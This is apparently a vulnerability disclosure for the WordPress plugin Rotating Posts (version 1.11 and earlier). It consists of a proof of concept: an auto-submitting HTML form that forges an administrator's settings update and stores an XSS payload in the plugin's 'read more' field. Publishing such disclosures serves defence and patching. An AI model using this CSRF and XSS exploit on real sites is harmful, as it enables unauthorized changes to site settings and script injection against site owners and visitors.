Rotating Posts <= 1.11 - Arbitrary Settings Update to Stored XSS via CSRF

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=rp-admin.php" method="POST">
    <input type="text" name="rp_submit_hidden" value="submit">
    <input type="text" name="rp_number_posts" value="5">
    <input type="text" name="rp_timer_sec" value="5">
    <input type="text" name="rp_read_more" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="rp_title" value="true">
    <input type="text" name="rp_date_time" value="true">
    <input type="text" name="rp_date_time_str" value="F jS, Y">
    <input type="text" name="rp_author" value="true">
    <input type="text" name="rp_author_prefix" value="by">
    <input type="text" name="rp_categories" value="true">
    <input type="text" name="rp_comments" value="true">
    <input type="text" name="rp_use_this_category" value="0">
    <input type="text" name="rp_left" value="https://example.com/wp-content/plugins/rotating-posts/images/left.jpg">
    <input type="text" name="rp_right" value="https://example.com/wp-content/plugins/rotating-posts/images/right.jpg">
    <input type="text" name="rp_pause_normal" value="https://example.com/wp-content/plugins/rotating-posts/images/pause.jpg">
    <input type="text" name="rp_pause_pressed" value="https://example.com/wp-content/plugins/rotating-posts/images/pause_on.jpg">
</form>
<script>
    document.getElementById("test").submit();
</script>